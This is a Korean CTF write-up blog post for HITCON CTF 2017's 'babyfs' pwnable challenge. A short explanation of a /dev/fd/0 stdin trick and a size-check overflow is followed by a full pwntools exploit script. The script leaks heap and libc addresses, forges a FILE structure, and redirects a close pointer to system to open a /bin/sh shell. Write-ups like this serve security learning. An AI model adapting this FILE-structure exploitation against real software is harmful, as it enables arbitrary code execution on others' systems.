Pwnable/CTF
HITCON CTF 2017 babyfs
HSr00t
2018. 1. 30. 19:45
처음 문제를 잡았을때 어떤식으로 접근해야되는지 모르겠어서 /dev/fd/0을 open 하면 입력을 할수있다는것을 Write up에서 참고하고 문제를 풀었다.
/dev/fd/0(/dev/stdin) 을 오픈하면 dup(0)과같은 현상이 일어나서 입력을 받을수 있다.
open을하고 fseek 과같이 파일 사이즈를 확인하는 함수에서는 /dev/fd/0파일을 open할때 오류가나서 -1을 반환하기때문에 오버플로우를 할수있다.
sendline을 할때 enter값이 stdin 버퍼에 아직 남아가지고 그것도 같이 복사를 해주는것때문에 -1,-2를 해주지 않으면 값이 내가 원하는것보다 더 많이 들어가버린다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 | from pwn import * import struct def fopen(name): p.sendlineafter('choice: ','1') p.sendlineafter(':',name) def fread(idx,size): p.sendlineafter('choice: ','2') p.sendlineafter(':',str(idx)) p.sendlineafter(':',str(size)) def fwrite(idx): p.sendlineafter('choice: ','3') p.sendlineafter(':',str(idx)) def fclose(idx): p.sendlineafter('choice: ','4') p.sendlineafter(':',str(idx)) heap = '' libc = '' p = process('./babyfs.bin') fopen('/dev/fd/0') #0 fopen('/dev/fd/1') idx = 0 j = 1 for i in range(0x98,0x9e): payload = 'A'*(24-idx) payload += p64(0x231) payload += p64(0xfbad2488) fread(0,len(payload)+j) sleep(2) p.sendline(payload+struct.pack('<B',i)) fread(1,8) fwrite(1) p.recvuntil(':') p.recv(1) heap += p.recv(1) fclose(1) fopen('/dev/fd/1') idx = 1 j = 2 print heap.encode('hex') heap = u64(heap+'\x00\x00') - 0xf0 print hex(heap) for i in range(0x78,0x7e): payload = 'A'*23 payload += p64(0x231) payload += p64(0xfbad2488) fread(0,len(payload)+j) sleep(1) p.sendline(payload+struct.pack('<B',i)) fread(1,8) fwrite(1) p.recvuntil(':') p.recv(1) libc += p.recv(1) print libc.encode('hex') fclose(1) fopen('/dev/fd/1') libc_base = u64(libc+'\x00\x00') - 0x3c5540 system = libc_base + 0x45390 print hex(libc_base) print hex(system) sleep(1) payload = 'A'*23 payload += p64(0x231) payload += '/bin/sh\x00' payload += p64(heap+0x14a0) * 7 payload += p64(heap+0x18a0) payload += p64(0) * 4 payload += p64(heap + 0x10) payload += p64(4) + p64(0)*2 + p64(heap + 0x1350) payload += p64(0xffffffffffffffff) payload += p64(0) payload += p64(heap + 0x1360) payload += p64(0)*6 payload += p64(heap + 0x1350) payload += p64(0) * 17 payload += p64(system) #__GI__IO_file_close fread(0,len(payload)+2) p.sendline(payload) p.interactive() fclose(1) p.interactive() | cs |